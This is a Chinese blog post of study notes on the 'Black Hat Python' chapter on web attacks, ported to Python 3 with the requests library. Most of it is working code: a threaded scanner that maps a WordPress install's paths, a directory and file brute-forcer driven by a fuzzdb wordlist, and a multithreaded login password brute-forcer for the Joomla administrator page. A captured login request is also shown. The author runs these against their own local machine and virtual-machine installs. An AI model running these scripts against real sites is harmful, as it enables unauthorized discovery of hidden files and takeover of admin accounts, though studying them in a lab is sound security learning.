文档章节

【Python3黑帽子学习笔记 on Mac】第五章 Web攻击

ODboy
 ODboy
发布于 2017/02/27 17:40
字数 1518
阅读 197
收藏 0
点赞 0
评论 0

作者在本章主要使用的库是:urllib2,由于我对于Python3应该使用urllib/urllib2/urllib3各种懵逼,故而改用requests库。

Requests库 (Slogen: Python HTTP for Humans)

    别小瞧这个库,现在慢慢变得流行哟!

    https://pypi.python.org/pypi/requests                

    http://docs.python-requests.org/en/master/  

    http://www.zhidaow.com/post/python-requests-install-and-brief-introduction   简单使用

pip3 install requests    #安装

小试牛刀: 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 黑帽子Python第5章
# 由于原著中使用的urllib(urllib2/urllib3)让人困惑,故而全部改为requests.
import requests
import logging

logging.basicConfig(level=logging.DEBUG)
def section1():
    url="https://www.baidu.com/s"
    #url="http://localhost"
    params={"wd":"python","xxx":"3"}
    data={"name":"zhangsan","pass":"lisi"}
    cookie={"PHPSESSID":"AASDFKWEAAVKHJLAEFKASDIU23"}
    headers ={ "Accept":"text/html,application/xhtml+xml,application/xml;",
                "Accept-Encoding":"gzip",
                "Accept-Language":"zh-CN,zh;q=0.8",
                "Referer":"http://www.baidu.com",
                "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"
                }
    r=requests.get(url,params=params,cookies=cookie,data=data,headers=headers)
    #r=requests.post(url,data=data)
    print("URL --> ",r.url)
    print("响应码 --> ",r.status_code)
    print("返回头部信息 --> ",r.headers['content-type'])
    print("响应内容 --> ",r.content[:1000])
    r.close

if __name__=='__main__':
    section1()

url="https://www.baidu.com"

因为百度使用的是https协议,我没法抓取数据包,所以改为url="http://localhost"来查看发送的数据包信息。 可以看到一切正常!

开源web应用安装

    为了便于使用,此处我自己在本地搭建了一个WordPress站点。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import queue
import threading
import os
import requests    #import urllib2

threads = 10

target = "http://localhost/wp"
directory = "/Library/WebServer/Documents/wp"
filters = [".jpg", ".gif", ".png", ".css"]

os.chdir(directory)

web_paths = queue.Queue()

# 遍历目录中的文件,将路径放到web_paths中。
for r, d, f in os.walk("."):   
    for file in f:
        remote_path = "%s/%s" % (r, file)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(file)[1] not in filters:
            web_paths.put(remote_path)

def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = "%s%s" % (target, path)

        try:
            response = requests.get(url)
            print( "[%d] => %s" % (response.status_code, path))
            response.close()

        except Exception as e:
            print("Failed %s" % e)
            pass

for i in range(threads):
    print( "Spawning thread: %d" % i)
    t = threading.Thread(target=test_remote)
    t.start()

       

暴力破解目录和文件位置

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests    #import urllib2
#import urllib
import threading
import queue
import logging

logging.basicConfig(level=logging.WARNING)
threads = 200
target_url = "http://10.1.1.5/wp" 
#target_url="http://testphp.vulnweb.com"
#wordlist_file = "/tmp/all.txt" # from SVNDigger
wordlist_file="/Users/jason/Documents/geekTools/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-small-words.txt"   # from fuzzdb
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"


def build_wordlist(wordlist_file):
    # read in the word list
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:
        word = word.rstrip()
        
        # 应该根本就没有用到吧????
        # if resume is not None:
        #     if found_resume:
        #         words.put(word)
        #     else:
        #         if word == resume:
        #             found_resume = True
        #             print("Resuming wordlist from: %s" % resume)

        # else:
        #     words.put(word)
        words.put(word)
    return words


def dir_bruter(word_queue, extensions=None):
    while not word_queue.empty():
        attempt = word_queue.get().decode("ascii")
        #print("attempt:",attempt)
        attempt_list = []

        # check to see if there is a file extension; if not, it's a directory
        # path we're bruting
        if "." not in attempt:
            attempt_list.append("/%s/" % attempt)
        else:
            attempt_list.append("/%s" % attempt)

        # if we want to bruteforce extensions
        if extensions:
            for extension in extensions:
                attempt_list.append("/%s%s" % (attempt, extension))

        # iterate over our list of attempts
        for brute in attempt_list:
            #print("brute:",brute)
            url = "%s%s" % (target_url, brute)

            try:
                headers = {}
                headers["User-Agent"] = user_agent
                response = requests.get(url, headers=headers)
                if response.status_code!=404 :
                    print( "[%d] => %s" % (response.status_code,url))

            except requests.RequestException as e:
                print(e)
                pass

if __name__=="__main__":
    word_queue = build_wordlist(wordlist_file)
    extensions = [".php", ".bak", ".orig", ".inc"]

    for i in range(threads):
        t = threading.Thread(target=dir_bruter, args=(word_queue,extensions,))
        t.start()

    

    

暴力破解HTML表格认证

    为了进行试验,我下载了当前最新版本(3.6)的joomla安装在虚拟机上。随后尝试登录后台,提交的POST报文样本如下:

POST /joomla/administrator/index.php HTTP/1.1
Host: 10.1.1.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.1.1.5/joomla/administrator/index.php
Cookie: 974e8a9d6745180a3a88588c438dc741=hcm0mg30jpijlf3ke1pcqcb356
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

username=bingo&passwd=abcdefg&option=com_login&task=login&return=aW5kZXgucGhw&441e8d79495ebbe0169914b1bd7c7d15=1

    按照原著中的代码,即使密码正确也不能正确识别。经过一番排查,发现原因在于:每一次POST提交数据后,返回的都是303重定向到index页面,区别在于,如果口令正确则会从新设定cookie值。

所以,我们应该检查的关键值在于header里面的“Set-Cookie”。

正是因为上面这句话,折腾了我一整天。汗死了。 requests库貌似自动处理了303跳转,response.headers的是第二次响应的内容。所以response.cookie无值,(response.headers['set-cookie']不存在)。

http://docs.python-requests.org/en/master/api/

  • allow_redirects (bool) -- (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to True.

    PS:函数中循环开始前获取到cookie是因为响应回来的代码是200,并非跳转的303.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import threading
import sys
import queue

from html.parser import HTMLParser

# general settings
user_thread = 100
username = "bingo"
wordlist_file = "/Users/jason/Documents/zidian/常用密码.txt"
resume = None

# target specific settings
target_url = "http://10.1.1.5/joomla/administrator/index.php"
target_post = "http://10.1.1.5/joomla/administrator/index.php"

cookie={}

username_field = "username"
password_field = "passwd"

success_check = "Control Panel - "

class BruteParser(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == "input":
            tag_name = None
            tag_value = None
            for name, value in attrs:
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value
            if tag_name is not None:
                self.tag_results[tag_name] = value


class Bruter(object):
    def __init__(self, username, words):
        self.username = username
        self.password_q = words
        self.found = False

        print( "Finished setting up for: %s" % username)
        print("Total %d tries"% self.password_q.qsize())

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        # 初始化cookie以及hidden元素数据。
        response = requests.get(target_url)
        cookie=response.cookies
        # print("get a cookie: ",response.headers['set-cookie'])
        # parse out the hidden fields
        parser = BruteParser()
        parser.feed(response.text)
        post_tags = parser.tag_results

        while not self.password_q.empty() and not self.found:

            brute = self.password_q.get().rstrip().decode("ascii")

            # add our username nad password fields
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            # \r将光标回退到行首(\b回退一格),实现原地覆盖。
            print(" \b\b"*100,end="")
            print("\rTrying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()),end="")
            #print("current cookie:",cookie)

            login_response = requests.post(target_post, data=post_tags,cookies=cookie)

            #print("login_response.headers['Set-Cookie']\t",login_response.headers['set-cookie'])
            # 这是个爆破密码的,无论密码是否正确,响应的都是跳转。 但如果密码正确,会重新设定cookie。
            # 所以我打算通过检查是否有设置新的cookie来判断。
            # 但是貌似通过post方式提交后无法获取到cookie呢?  (通过wireshark可以确定响应包头中有set-cookie的)
            # 【原因】requests库貌似自动处理了303跳转,response.headers的是第二次响应的内容。

            login_result = login_response.text

            if success_check in login_result:
                self.found = True

                print ("\n[*] Bruteforce successful.")
                print ("[*] Username: %s" % username)
                print ("[*] Password: %s" % brute)
                print ("[*] Waiting for other threads to exit...")

def build_wordlist(wordlist_file):   
    # read in the word list
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:
        word = word.rstrip()

        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print ("Resuming wordlist from: %s" % resume)

        else:
            words.put(word)

    return words

words = build_wordlist(wordlist_file)

bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()

打完手工!  后续还得在看看神奇的HTMLParser,挺有意思的。

© 著作权归作者所有

共有 人打赏支持
ODboy
粉丝 6
博文 12
码字总数 11301
作品 0
昌平
其他
花无涯带你走进黑客之 小白入门 第一章

最近开始有一个想法, 想谈谈小白如何慢慢学习网络安全相关知识, 有正确得价值观,做正确的事情。 初心也是为了帮助更多人学习到黑客攻防,学会保护自己和身边的人。 写一些自己的分享和经验...

黑客花无涯 ⋅ 2017/04/24 ⋅ 0

机器学习的最佳学习路线原来只有四步

AI这个词相信大家都非常熟悉,近几年来人工智能圈子格外热闹,光是AlphoGo就让大家对它刮目相看。今天小天就来跟大家唠一唠如何进军人工智能的第一步——机器学习。 在机器学习领域,Python已...

ufv59to8 ⋅ 05/12 ⋅ 0

团队拙作《Python机器学习实战》

之前看国内外的 Python 机器学习的书,鲜有将机器学习到底怎么做人脸识别、怎么做风险控制、怎么做 OCR 算法模型列出的,并且真正的一个 Python 应用,不止是从机器学习库中导入一下配置一下...

yijun2018 ⋅ 04/20 ⋅ 0

Python 黑帽编程大纲(变化中)

Python 黑帽编程大纲(预览版) 教程说明: 本系列教程,采用的大纲母本为《Understanding Network Hacks Attack and Defense with Python》一书,为了解决很多同学对英文书的恐惧,解决看书...

zting科技 ⋅ 2017/12/11 ⋅ 0

python资料全集

python: 微信公众号开发小记——2.80端口上的服务 python: 微信公众号开发小记——3.接入三方登录 使用python编写一个壁纸网站的简单爬虫 python: python List 用法 Python 中各个时间复杂度...

d_watson ⋅ 2016/04/15 ⋅ 0

零基础学习机器学习(Python语言、算法、Numpy库、MatplotLib)视频

机器学习作为人工智能的一部分,已经应用于很多领域,远超过人们的想象,垃圾邮件的过滤,在线广告的推荐系统,还有目前发展飞快的物体识别、人脸识别和语音识别的发展,都是机器学习的应用的...

qq_38472149 ⋅ 05/28 ⋅ 0

一个月入门Python爬虫,快速获取大规模数据

数据是创造和决策的原材料,高质量的数据都价值不菲。而利用爬虫,我们可以获取大量的价值数据,经分析可以发挥巨大的价值,比如: 豆瓣、知乎:爬取优质答案,筛选出各话题下热门内容,探索...

Python开发者 ⋅ 04/25 ⋅ 0

[2]Python学习笔记---开发Python程序的Pycharm

在这篇文章中,笔者提到了Anaconda3是一个非常好的Python包的管理工具,同时也提供了可以在线编辑和运行代码的平台软件,比如QT Console或者Spyder;但是这篇文章,笔者会重点给大家推荐另外...

chancein007 ⋅ 2017/07/25 ⋅ 0

良心推荐:一份20周学习计算机科学的经验贴(附资源)

雷锋网按:这里是,油管Artificial Intelligence Education专栏,原作者Siraj Raval授权雷锋字幕组编译。 原标题 Computer Science Curriculum 翻译 | 王飞 整理 | 凡江 这是一份五个月(20个...

雷锋字幕组 ⋅ 05/08 ⋅ 0

PHP程序员进阶之路好书籍推荐

今天给PHP程序员们推荐几本PHP进阶好书,PHP程序员们不要以为自己现在已经工作就放弃了一个上进的心,现在互联网发展这么快,小心长江后浪推前浪,前浪死在沙滩上哦。。。 · 《UNIX网络编程...

Yomut ⋅ 04/25 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

005. 深入JVM学习—Java堆内存参数调整

1. JVM整体内存调整图解(调优关键) 实际上每一块子内存区域都会存在一部分可变伸缩区域,其基本流程:如果内存空间不足,则在可变的范围之内扩大内存空间,当一段时间之后,内存空间不紧张...

影狼 ⋅ 17分钟前 ⋅ 0

内存障碍: 软件黑客的硬件视图

此文为笔者近日有幸看到的一则关于计算机底层内存障碍的学术论文,并翻译(机译)而来[自认为翻译的还行],若读者想要英文原版的论文话,给我留言,我发给你。 内存障碍: 软件黑客的硬件视图...

Romane ⋅ 50分钟前 ⋅ 0

SpringCloud 微服务 (七) 服务通信 Feign

壹 继续第(六)篇RestTemplate篇 做到现在,本机上已经有注册中心: eureka, 服务:client、order、product 继续在order中实现通信向product服务,使用Feign方式 下面记录学习和遇到的问题 贰 or...

___大侠 ⋅ 今天 ⋅ 0

gitee、github上issue标签方案

目录 [TOC] issue生命周期 st=>start: 开始e=>end: 结束op0=>operation: 新建issueop1=>operation: 评审issueop2=>operation: 任务负责人执行任务cond1=>condition: 是否通过?op3=>o......

lovewinner ⋅ 今天 ⋅ 0

浅谈mysql的索引设计原则以及常见索引的区别

索引定义:是一个单独的,存储在磁盘上的数据库结构,其包含着对数据表里所有记录的引用指针. 数据库索引的设计原则: 为了使索引的使用效率更高,在创建索引时,必须考虑在哪些字段上创建索...

屌丝男神 ⋅ 今天 ⋅ 0

String,StringBuilder,StringBuffer三者的区别

这三个类之间的区别主要是在两个方面,即运行速度和线程安全这两方面。 首先说运行速度,或者说是, 1.执行速度 在这方面运行速度快慢为:StringBuilder(线程不安全,可变) > StringBuffer...

时刻在奔跑 ⋅ 今天 ⋅ 0

java以太坊开发 - web3j使用钱包进行转账

首先载入钱包,然后利用账户凭证操作受控交易Transfer进行转账: Web3j web3 = Web3j.build(new HttpService()); // defaults to http://localhost:8545/Credentials credentials = Wallet......

以太坊教程 ⋅ 今天 ⋅ 0

Oracle全文检索配置与实践

Oracle全文检索配置与实践

微小宝 ⋅ 今天 ⋅ 0

mysql的分区和分表

1,什么是mysql分表,分区 什么是分表,从表面意思上看呢,就是把一张表分成N多个小表,具体请看mysql分表的3种方法 什么是分区,分区呢就是把一张表的数据分成N多个区块,这些区块可以在同一...

梦梦阁 ⋅ 今天 ⋅ 0

exception.ZuulException: Forwarding error

错误日志 com.netflix.zuul.exception.ZuulException: Forwarding error Caused by: com.netflix.hystrix.exception.HystrixRuntimeException: xxx timed-out and no fallback available. Ca......

jack_peng ⋅ 今天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部